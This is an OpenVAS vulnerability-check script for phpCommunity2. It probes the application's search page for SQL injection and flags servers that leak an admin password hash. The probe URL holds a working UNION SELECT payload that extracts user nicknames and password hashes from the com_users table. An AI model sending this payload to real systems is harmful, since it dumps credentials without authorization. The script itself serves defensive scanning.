###############################################################################
# OpenVAS Vulnerability Test
# $Id: phpCommunity2_multiple_remote_input_validation.nasl 119 2009-03-10 19:43:38Z mime $
#
# phpCommunity2 Multiple Remote Input Validation Vulnerabilities
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if (description)
{
 script_id(100041);
 script_bugtraq_id(34056);
 script_version ("1.0");
 script_tag(name:"risk_factor", value:"Medium");

 script_name("phpCommunity2 Multiple Remote Input Validation Vulnerabilities");
 desc = "

 Overview:
  phpCommunity2 is prone to multiple input-validation vulnerabilities,
  including multiple directory-traversal issues and SQL-injection issues,
  and a cross-site scripting issue.

  Exploiting these issues could allow an attacker to view arbitrary
  local files within the context of the webserver, steal cookie-based
  authentication credentials, compromise the application, access or
  modify data, or exploit latent vulnerabilities in the underlying
  database. 

 See also:
  http://www.securityfocus.com/bid/34056/

 Risk factor : Medium";

 script_description(desc);
 script_summary("Determine if phpCommunity2 is vulnerable to Multiple Remote Input Validation Vulnerabilities");
 script_category(ACT_GATHER_INFO);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
 script_dependencie("find_service.nes", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if(!get_port_state(port))exit(0);
if(!can_host_php(port:port)) exit(0);

dir = make_list("/phpcom", cgi_dirs());

foreach d (dir)
{ 
 url = string(d, "/index.php?n=guest&c=0&m=search&s=forum&wert=-1%25%22%20UNION%20ALL%20SELECT%201,2,3,4,CONCAT(nick,%200x3a,%20pwd),6%20FROM%20com_users%23");
 req = http_get(item:url, port:port);
 buf = http_keepalive_send_recv(port:port, data:req, bodyonly:1);
 if( buf == NULL )exit(0);

 if ( buf =~ "admin:[a-f0-9]{32}"  )
   {    
    security_warning(port:port);
    exit(0);
   }
}
